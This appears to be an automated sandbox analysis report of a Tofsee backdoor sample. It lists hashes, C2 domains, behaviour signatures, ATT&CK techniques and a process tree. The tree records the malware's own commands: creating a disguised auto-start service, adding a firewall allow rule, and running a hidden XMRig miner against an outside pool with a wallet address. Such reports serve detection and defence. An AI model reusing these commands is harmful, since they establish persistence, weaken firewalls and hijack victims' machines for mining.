Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-11-2022 14:09

General

  • Target

    93631bf8b4dacdddb67851b76d8b797a00882fb03e9e0cf5fb86e7b4e5141883.exe

  • Size

    163KB

  • MD5

    238a6c05a356546d9f41e4ce53d989f3

  • SHA1

    304155abbd030ea827e20cd7cd6677f5e69a6871

  • SHA256

    93631bf8b4dacdddb67851b76d8b797a00882fb03e9e0cf5fb86e7b4e5141883

  • SHA512

    38ddba65054480c7348d736274089a5846f1a1180fdd134966ff0f82bba32c9de676d68015fb1457a5def2c5ac4dd61c1c08ccf572f3cbc47cef6ad539cc98b3

  • SSDEEP

    3072:QaxY4k2cA2yg5NMEg+i2wrMyN+6xsYgvqlKqtYUFD:QCl2u1kJyNR98

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\93631bf8b4dacdddb67851b76d8b797a00882fb03e9e0cf5fb86e7b4e5141883.exe
    "C:\Users\Admin\AppData\Local\Temp\93631bf8b4dacdddb67851b76d8b797a00882fb03e9e0cf5fb86e7b4e5141883.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fvjplisv\
      2⤵
        PID:4864
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ndwurahg.exe" C:\Windows\SysWOW64\fvjplisv\
        2⤵
          PID:3508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fvjplisv binPath= "C:\Windows\SysWOW64\fvjplisv\ndwurahg.exe /d\"C:\Users\Admin\AppData\Local\Temp\93631bf8b4dacdddb67851b76d8b797a00882fb03e9e0cf5fb86e7b4e5141883.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fvjplisv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1496
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fvjplisv
          2⤵
          • Launches sc.exe
          PID:1304
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2124
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3484 -s 912
          2⤵
          • Program crash
          PID:3940
      • C:\Windows\SysWOW64\fvjplisv\ndwurahg.exe
        C:\Windows\SysWOW64\fvjplisv\ndwurahg.exe /d"C:\Users\Admin\AppData\Local\Temp\93631bf8b4dacdddb67851b76d8b797a00882fb03e9e0cf5fb86e7b4e5141883.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3852
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:804
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 508
          2⤵
          • Program crash
          PID:3988
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3484 -ip 3484
        1⤵
          PID:4644
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3852 -ip 3852
          1⤵
            PID:1396

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ndwurahg.exe
            Filesize

            10.2MB

            MD5

            e377be13a927ef1b2538ee4eb799c0f8

            SHA1

            723097ef1b8df1cf5961c5e5eaf95ccd923649a5

            SHA256

            ad534a6cc659ad3a245a46cea0ad1c2137d01299f8979416ad84e691a2be73ad

            SHA512

            a266e6970cb22a0379c45c9d624dac62d8598a4edb3d662abc055479634cede29982e0a429f3a02fd48d765184a315a185b673fd3ee473f61b2e95c359b2f149

          • C:\Windows\SysWOW64\fvjplisv\ndwurahg.exe
            Filesize

            10.2MB

            MD5

            e377be13a927ef1b2538ee4eb799c0f8

            SHA1

            723097ef1b8df1cf5961c5e5eaf95ccd923649a5

            SHA256

            ad534a6cc659ad3a245a46cea0ad1c2137d01299f8979416ad84e691a2be73ad

            SHA512

            a266e6970cb22a0379c45c9d624dac62d8598a4edb3d662abc055479634cede29982e0a429f3a02fd48d765184a315a185b673fd3ee473f61b2e95c359b2f149

          • memory/804-157-0x00000000011F0000-0x00000000011F6000-memory.dmp
            Filesize

            24KB

          • memory/804-163-0x00000000023F0000-0x00000000023F5000-memory.dmp
            Filesize

            20KB

          • memory/804-160-0x00000000023A0000-0x00000000023B0000-memory.dmp
            Filesize

            64KB

          • memory/804-166-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/804-150-0x0000000001020000-0x0000000001035000-memory.dmp
            Filesize

            84KB

          • memory/804-154-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/804-153-0x0000000001020000-0x0000000001035000-memory.dmp
            Filesize

            84KB

          • memory/804-169-0x00000000031D0000-0x00000000031D7000-memory.dmp
            Filesize

            28KB

          • memory/804-144-0x0000000001020000-0x0000000001035000-memory.dmp
            Filesize

            84KB

          • memory/804-143-0x0000000000000000-mapping.dmp
          • memory/1304-140-0x0000000000000000-mapping.dmp
          • memory/1496-139-0x0000000000000000-mapping.dmp
          • memory/1576-138-0x0000000000000000-mapping.dmp
          • memory/2124-141-0x0000000000000000-mapping.dmp
          • memory/3484-132-0x0000000000898000-0x00000000008A9000-memory.dmp
            Filesize

            68KB

          • memory/3484-151-0x0000000000898000-0x00000000008A9000-memory.dmp
            Filesize

            68KB

          • memory/3484-152-0x0000000000400000-0x000000000058D000-memory.dmp
            Filesize

            1.6MB

          • memory/3484-134-0x0000000000400000-0x000000000058D000-memory.dmp
            Filesize

            1.6MB

          • memory/3484-133-0x0000000000820000-0x0000000000833000-memory.dmp
            Filesize

            76KB

          • memory/3508-136-0x0000000000000000-mapping.dmp
          • memory/3532-172-0x0000000000000000-mapping.dmp
          • memory/3532-173-0x0000000000630000-0x0000000000721000-memory.dmp
            Filesize

            964KB

          • memory/3532-178-0x0000000000630000-0x0000000000721000-memory.dmp
            Filesize

            964KB

          • memory/3852-148-0x00000000005C0000-0x00000000005D3000-memory.dmp
            Filesize

            76KB

          • memory/3852-149-0x0000000000400000-0x000000000058D000-memory.dmp
            Filesize

            1.6MB

          • memory/3852-147-0x0000000000713000-0x0000000000723000-memory.dmp
            Filesize

            64KB

          • memory/4864-135-0x0000000000000000-mapping.dmp